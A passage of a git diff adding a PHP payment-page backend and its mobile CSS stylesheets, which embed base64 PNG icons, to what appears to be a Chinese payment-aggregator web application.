isset($_SESSION['paypage_channel']) && isset($_SESSION['paypage_rate'])){ + $typeid = intval($_SESSION['paypage_typeid']); + $channelid = intval($_SESSION['paypage_channel']); + $subchannelid = intval($_SESSION['paypage_subchannel']); + if($direct==1){ + if($userrow['mode']==1){ + $realmoney = round($money*(100+100-$_SESSION['paypage_rate'])/100,2); + $getmoney = $money; + }else{ + $realmoney = $money; + $getmoney = round($money*$_SESSION['paypage_rate']/100,2); + } + if($_SESSION['paypage_mode']==1 && $realmoney-$getmoney>$userrow['money']){ + showerrorjson('当前商户余额不足,无法完成支付,请商户登录用户中心充值余额'); + } + + if(!empty($conf['pay_payaddstart'])&&$conf['pay_payaddstart']!=0&&!empty($conf['pay_payaddmin'])&&$conf['pay_payaddmin']!=0&&!empty($conf['pay_payaddmax'])&&$conf['pay_payaddmax']!=0&&$realmoney>=$conf['pay_payaddstart'])$realmoney = round($realmoney + randomFloat(round($conf['pay_payaddmin'],2),round($conf['pay_payaddmax'],2)), 2); + + $DB->update('order', ['type'=>$typeid, 'channel'=>$channelid, 'subchannel'=>$subchannelid, 'realmoney'=>$realmoney, 'getmoney'=>$getmoney], ['trade_no'=>$trade_no]); + + $ordername = 'onlinepay'.time(); + if(!empty($userrow['ordername']))$conf['ordername']=$userrow['ordername']; + $ordername = !empty($conf['ordername'])?ordername_replace($conf['ordername'],$ordername,$uid,$trade_no,$trade_no):$ordername; + $channel = $subchannelid > 0 ? \lib\Channel::getSub($subchannelid) : \lib\Channel::get($channelid, $userrow['channelinfo']); + if(!$channel)showerrorjson('支付通道不存在'); + $channel['apptype'] = explode(',',$channel['apptype']); + + $method = 'jsapi'; + $order['trade_no'] = $trade_no; + $order['out_trade_no'] = $trade_no; + $order['uid'] = $uid; + $order['addtime'] = $date; + $order['name'] = '在线收款'; + $order['realmoney'] = $realmoney; + $order['type'] = $typeid; + $order['channel'] = $channelid; + $order['typename'] = $paytype; + $order['profits'] = \lib\Payment::updateOrderProfits($order, $channel['plugin']); + $order['sub_openid'] = $payer; + + try{ + $paydata = \lib\Plugin::loadClass($channel['plugin'],'mapi',$trade_no); + }catch(Exception $e){ + showerrorjson($e->getMessage()); + } + + if($paydata['type'] == 'jsapi'){ + if(is_array($paydata['data'])) $paydata['data'] = json_encode($paydata['data']); + $result['paydata'] = $paydata['data']; + }elseif($paydata['type'] == 'error'){ + showerrorjson($paydata['msg']); + }else{ + $result['direct'] = 0; + $result['url'] = $paydata['url']; + } + }else{ + $result['url'] = '/submit2.php?typeid='.$typeid.'&trade_no='.$trade_no; + } +}else{ + $result['url'] = '/cashier.php?trade_no='.$trade_no; +} + +exit(json_encode($result)); \ No newline at end of file diff --git a/paypage/css/default.css b/paypage/css/default.css new file mode 100644 index 0000000..1a80217 --- /dev/null +++ b/paypage/css/default.css @@ -0,0 +1,77 @@ +@charset "UTF-8"; +html {font-size:62.5%;-webkit-font-smoothing:antialiased;} +body {text-align:center;font-family: 'PingFang SC', 'Helvetica Neue', Helvetica, Arial, 'Hiragino Sans GB', 'Microsoft Yahei', 微软雅黑, STHeiti, 华文细黑, sans-serif; -webkit-text-size-adjust:none; font-size:1.4rem;background:#f4f6f9;color:#000;-webkit-user-select:none;} +* {margin:0; padding:0;list-style:none; } +i, em, b {font-style:normal; font-weight:normal;} +input::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:#ccc;} +img{width:100%;vertical-align:top;} +input,textarea,select,button{font-size:1.4rem;border:0; outline:none;font-family:"微软雅黑","Microsoft YaHei","Helvetica Neue",Helvetica,STHeiTi,sans-serif;} +*{-webkit-tap-highlight-color: rgba(0,0,0,0);} + + +.clear{ clear:both;} +.none{ display:none !important;} +.hide{ display:none;} +.height100{ height:100%;} + +/*flex*/ +html,body{height:100%;} +.container{height:100%;} +.layout-flex{display:-webkit-box;-webkit-box-orient:vertical;height:100%;} +.layout-flex .content{-webkit-box-flex:1;-webkit-flex:1;-ms-flex:1;flex:1;overflow:auto;-webkit-overflow-scrolling:touch;position:relative;height:100%;} +.m-title{padding: 0.42rem 0.54rem 0.5rem;} +.m-title dl{overflow: hidden;} +.m-title dl dt{float: left; width: 0.66rem; height: 0.66rem; margin-right: 0.2rem;} +.m-title dl dt img{width: 100%; height: 100%; display: block;} +.m-title dl dd{float: left; font-size: 0.28rem; color: #161213; padding-top: 0.13rem;} +/*pop*/ +.pop-wrap{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,0.6);display:table;z-index:99999;} +.pop-outer{display:table-cell;vertical-align:middle;} + + +/*loading*/ +.circle-box{width: 100%;height: 100%;position: fixed;left: 0;top: 0;} +.circle_animate{position: absolute; left: 50%; top: 43%; width: 9rem; height: 9rem; margin-left: -4.5rem; margin-top: -4.5rem; background: rgba(0, 10, 24, 0.6); border-radius: 8px; box-shadow: 0 0 4px rgba(0, 10, 24, 0.4);} +.circle_animate .circle{width: 3.6rem; height: 3.6rem; margin: 1.6rem auto 1rem; background: url(../images/loading.gif) no-repeat; background-size: 100% 100%; } +@-webkit-keyframes animate_circle{100%{-webkit-transform: rotate(360deg);}} +.circle_animate p{color: rgba(255, 255, 255, 0.7);} + +/*pop*/ +.pop_wrapper{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,0.6);display:table;z-index:99999;} +.pop_outer{display:table-cell;vertical-align:middle;} +.pop_obtm{display:table-cell;vertical-align:bottom;} +.pop_pintip{margin: 0 2rem;} +.pop_cont{margin: 0 2rem;background-color: rgba(255,255,255,1);border-radius: 1rem;overflow: hidden;} +.pop_tip{font-size: 1.8rem;padding: 2rem 2.4rem 2rem 2.4rem;line-height: 2.8rem;word-break: break-all;border-bottom:1px solid #e5e5e5;color:#000} +.pop_wbtn{display: block;height: 4.4rem;line-height: 4.4rem;font-size: 1.7rem;color: #007FFF; +} + +.pop_wbtn a{background:#0187e8} +.pop_wbtn:active{color: rgba(0,127,255,0.5);} +/*.b_top{padding:1.5rem 0.6rem;background:#0187e8;border-radius: 6px;color:#fff;margin:20px;.b_top{margin:20px 0}}*/ +.b_top{padding:1.2rem 0.6rem;border-radius: 6px;color:#0076fe;font-size:2rem} +/*.pop_btn{background:#0187e8;border-radius: 6px;padding:1rem 0;color:#fff;display:block;width:85%;margin:0 auto} +.pop_btn{padding:1em;height:2.5em}*/ +.pop_wrapper_white{position:fixed;left:0;top:0;width:100%;height:100%;background:rgba(0,0,0,0);display:table;z-index:99999;} +.pop_intips{display: inline-block;border-radius: 8px;background-color: rgba(0,0,0,0.8);font-size: 1.5rem;color: #fff;padding: 1.5rem 2rem;word-break: break-all;} + +@media (max-device-width: 320px){ + html{font-size: 52%;} +} + + + + + + + + + + + + + + + + + diff --git a/paypage/css/style.css b/paypage/css/style.css new file mode 100644 index 0000000..eff5c5a --- /dev/null +++ b/paypage/css/style.css @@ -0,0 +1,340 @@ +@charset "utf-8"; +/*date:2018-03-13*/ + +/* add====================== */ +.mar10{margin:10px} +.marLeft5{margin-left:5px} +.marLeft10{margin-left:10px} +.mar20{margin:20px} +.fl{float:left} +.selTitle{font-size: 1.95rem;color:#666} +.fontGray{color:#8e8e8e} +.money{font-size:2rem;font-family: "Microsoft YaHei";} +.grayico_pay{display:inline-block;width: 3.34rem;height: 2.6rem;margin: 0 auto;overflow-y: hidden;} +.copyRight{color:#afafaf;font-size:1.5rem;margin-bottom:10px;font-family: Microsoft YaHei;} + +/* 按钮====================== */ +.btn{ width:100%; height:4.5rem; border-radius:6px; font-size:1.7rem;} +.btn:after{ border-radius:9px;} +.btn_blue{ background:#4182E2; color:#fff;} +.btn_blue:active{ background:#2167CD;} +.btn_blue.disable{ background: #ddd} +.btn_white{ background:#fff; color:#000;} +.btn_white:active{ background:#ddd;} + +/* 1像素边框====================== */ +.border{ position:relative;} +.border:after{ content:""; position:absolute; left:0; top:0; right:-100%; bottom:-100%; -webkit-transform:scale(0.5); -webkit-transform-origin:0 0; pointer-events:none;} +/*.b_all:after{ border:1px solid #4182e2;} +.b_all2:after{ border:1px solid #ddd;}*/ +.b_btm:after{ border-bottom:1px solid #d5d5d5;} +/*.b_lft:after{ border-left:1px solid #ddd;}*/ +.b_rgt:after{ border-right:1px solid #d5d5d5;} +/*.b_top:after{ border-top:1px solid #ddd;}*/ +.b_rgt_btm:after{ border-right:1px solid #d5d5d5; border-bottom:1px solid #d5d5d5;} + +/* 付款金额====================== */ +.payMoney{text-align: left;color:#b7b7b7;font-size:1.8rem;margin-bottom:10px;} + + +/* 设置支付金额====================== */ +.amount_title{padding: 0 1.5rem; font-size: 1.7rem;color: #333;line-height: 2.8rem;} + +.set_amount{padding:1rem 1rem 0.5rem 1rem; margin: 2rem 1.5rem 0 1.5rem; background: #fff; position: relative;border-radius:6px;box-shadow: 0 0 1px #ebebeb;} +.set_amount .amount_hd{font-size: 1.5rem; color: #666; text-align: left;height: 2.4rem;line-height: 2.4rem;} +.set_amount .amount_bd{ height: 50px;line-height: 50px; margin: 0; text-align: left; } +.set_amount .amount_bd input{width: 100%; height: 100%; font-family: arial; font-size: 4rem;} +.set_amount .amount_bd .int_place{display: inline-block; height: 5rem; line-height: 5rem; vertical-align: middle; font-family: arial; font-size: 4rem;color: #999;} +/* .set_amount .amount_bd .input_simu{font-family: HelveticaNeue; font-size: 4.4rem;display: inline-block;color:#444;position:absolute;left:3.6rem;height:50px;bottom:10px;} +.set_amount .amount_bd .line_simu{margin-top:0.5rem;width: 1px; height: 3rem; background: #4182E2; vertical-align: middle; opacity: 0; -webkit-animation: animate_flash 1s ease-in-out infinite;} + */ +.set_amount .amount_bd .input_simu{font-family: HelveticaNeue; font-size: 34px; color:#444;height:50px; float:left;} +.set_amount .amount_bd .line_simu{margin-top:0.5rem;width: 1px; height: 40px; background: #4182E2; opacity: 0; -webkit-animation: animate_flash 1s ease-in-out infinite;float:left;} +.i_money{padding:0rem 0.5rem 0 0; font-size:24px;color: #444;font-family: arial;height:50px; float:left;} +@-webkit-keyframes animate_flash{ + 50%{opacity:1;} +} +.amount_bd .clearBtn{width: 3rem;height: 100%;position: absolute;right: 0;top:0;background: #fff;} +.set_amount .amount_bd .btn_clear{ + position: absolute; right: 0.5rem; top: 1.5rem; width: 2rem; height: 2rem; background: url(../images/btn_clear.png) center center no-repeat; background-size: 1.4rem 1.4rem; +} +.error_tips{position: absolute; left: 50%; top: 18.2rem; width: 16rem; height: 3.2rem; line-height: 3.2rem; margin-left: -8rem; color: #fff; background: rgba(15,15,30,0.5); border-radius: 8px; display: none;} +.remark{padding: 0 1.6rem; color: #4081e1; text-align: right;height: 3.7rem;line-height: 3.7rem;} +.btn_row{padding: 0 2rem 1rem;} + +/* .i_money{padding:0rem 0.5rem 0 0; font-size:23px;color: #444;font-family: arial;position:absolute;height:50px;bottom:5px;} */ + +.sico_pay_p{padding: 3rem 0 1.5rem 0;} +.sico_pay{display: block;width:40px;height:40px;background: url(../images/sellerLogo.png) no-repeat;background-size:40px 40px;margin: 0 auto;overflow-y: hidden;} + +/*.keyboard{background: #fff;}*/ +.key_table{width: 100%;border-collapse:collapse;border-spacing:1;border-spacing:0;list-style: none;padding: 0;margin: 0;} +.key_table td{width: 25%;height: 6.2rem;text-align: center;color:#444} +.key_table td.disable{background-color: #a0d7fe;} +.keyboard .key{line-height: 6.2rem; font-family:HelveticaNeue; font-size: 3.6rem;} +.keyboard .key.clear{background: url(../images/clear.png) center no-repeat; background-size:2.95rem 2.95rem;width: 2.95rem;height:2.95rem} +.keyboard .key:active{background-color: #D5D8DB;} + .keyboard{background: #fff;} +.keyboard .pay_btn{background-color: #0076fe;font-size: 2rem;color: #fff;line-height: 2.3rem;} +.pay_btn:active{background-color: #54b8ff;} +.pay_btn em{display: block;} + +.pop_remark{background: rgba(255, 255, 255, 0.95); border-radius: 10px; margin: 8rem 4rem; overflow: hidden;} +.pop_remark .pop_title{padding: 1.8rem 1.5rem 0; font-size: 1.7rem;} +.pop_remark .input_wrap{margin: 1.6rem 1.5rem 2rem;} +.pop_remark .input_wrap input{width: 100%; height: 4rem; background: #fff; text-indent: 1rem;} +.pop_remark .btn_wrap{display: -webkit-box;} +.pop_remark .btn_wrap span{display: block; -webkit-box-flex: 1; width: 1px; height: 5rem; line-height: 5rem; font-size: 1.7rem; color: #007FFF;} + +/* 支付确认====================== */ +.pay_amount{font-size: 5rem; margin: 3.5rem 0 0.8rem;} +.remark2{font-size: 1.5rem; color: #666;} +.btn_row2{margin: 5rem 2rem 2rem;} + +/* 支付成功====================== */ +.bg_wt{background-color: #fff;margin-bottom: 1rem;} +.pay_stop{padding: 4rem 0 1rem 0;} +.pay_stop .ico_success{display: block;width: 6rem; height: 6rem; background: url(../images/icoSuccess.png) center no-repeat; background-size: 100% 100%;margin: 0 auto;} +.pay_suc1{font-size: 1.7rem; color: #4182e2;height: 2.6rem;line-height: 2.6rem;overflow: hidden;} +.pay_suc2{font-size: 3rem; color: #333;height: 3.9rem;line-height: 3.9rem;overflow: hidden;} +.pay_suc2 i{font-size: 1.5rem;} +.pay_suc3{font-size: 1.5rem;color: #999;height: 3.7rem;line-height: 3.7rem;overflow: hidden;} +.btn_p{padding: 2rem 0 2.4rem 0;} + +.btn_wt{width: 12.5rem;color: #4182e2;background-color: #fff;} +.btn_wt:active{ background-color:#eee;} + + +/*discount*/ +.discount{padding-bottom: 2rem;} +.discount-tit{ + font-size: 2.5rem; + padding: 2.5rem 0; + color:#4182e2; + text-align: center; +} +.discount-box{ + margin: 0 2rem; + background: #fff; + -wekkit-border-radius: 5px; + border-radius: 5px; +} +.discount-box img{ + max-width: 18.15rem; + display: block; + margin: 0 auto; + padding: 3rem 0 1rem 0; +} +.discount-box .t1{ + color:#999; + font-size: 1.4rem; + padding: 0.5rem 0; +} +.discount-box .t2{ + color:#000; + font-size: 2.5rem; +} +.discount-box .t2 span{font-size: 4rem;} +.discount-box .t3{ + margin: 2.5rem 1rem 0 1rem; + border-top: 1px dashed #ddd; + padding: 1rem 1rem 2.6rem 1rem; + line-height: 2.8rem; + color:#999; +} +.discount-box .clear{ + overflow: hidden; +} +.discount-box .fl{ + float: left; +} +.discount-box .fr{ + float: right; +} +.discount-box .grey{ + color:#666; + text-decoration: line-through; +} +.discount-box .orange{ + color:#ff9742; +} +.discount-box .btn{ + margin-top: 2.5rem; + -webkit-border-radius: 5px; + border-radius: 5px; + color:#fff; + font-size: 1.7rem; + line-height: 4.5rem; + background: #4182e2; +} +.discount-box .btn:active{ + background:#2667c7; +} +.discount-box .disable,.discount-box .disable:active{ + background:#ddd; +} +.tdVerTop{vertical-align:top;} +@media (max-width:340px){ + .set_amount .amount_bd .input_simu { + font-family: HelveticaNeue; + font-size: 30px; + } + .keyboard .key { + line-height: 5rem; + font-size: 3rem; + } + + .key_table td { + height: 5rem; + } +} + +.set_remark{ + display: flex; + padding: 1.5rem; +} +.have_been_set { + width: 100%; + text-align: justify; + margin-left: 3px; +} +.have_been_set>span { + font-size: 13px; + color: #b7b7b7; +} +.remark_operate{ + margin-left: 15px; + display: contents; +} +.remark_operate>a{ + text-decoration: none; +} +.remark_operate .remark_edit, +.remark_operate .remark_clear_away{ + display: none; +} +.remark_operate.yes .remark_add{ + display: none; +} +.remark_operate.yes .remark_edit, +.remark_operate.yes .remark_clear_away{ + display: inline-block; +} +.remark_add, +.remark_edit, +.remark_clear_away{ + color: #9da7b2; + font-size: 12px; + font-weight: 500; + margin-left: 2.5px; + padding: 3px 3px 3px 15px; + position: relative; + background: #cccccc45; + border-radius: 3px; +} +.remark_add::after{ + content: ''; + position: absolute; + background-image: url(data:image/png;base64,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); + background-size: 100%; + background-repeat: no-repeat; + left: 3.5px; + bottom: 6.5px; + width: 1rem; + height: 1rem; +} +.remark_edit::after { + content: ''; + position: absolute; + background-image: url(data:image/png;base64,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); + background-size: 100%; + background-repeat: no-repeat; + left: 1px; + bottom: 4px; + width: 1.5rem; + height: 1.5rem; +} +.remark_clear_away::after{ + content: ''; + position: absolute; + background-image: 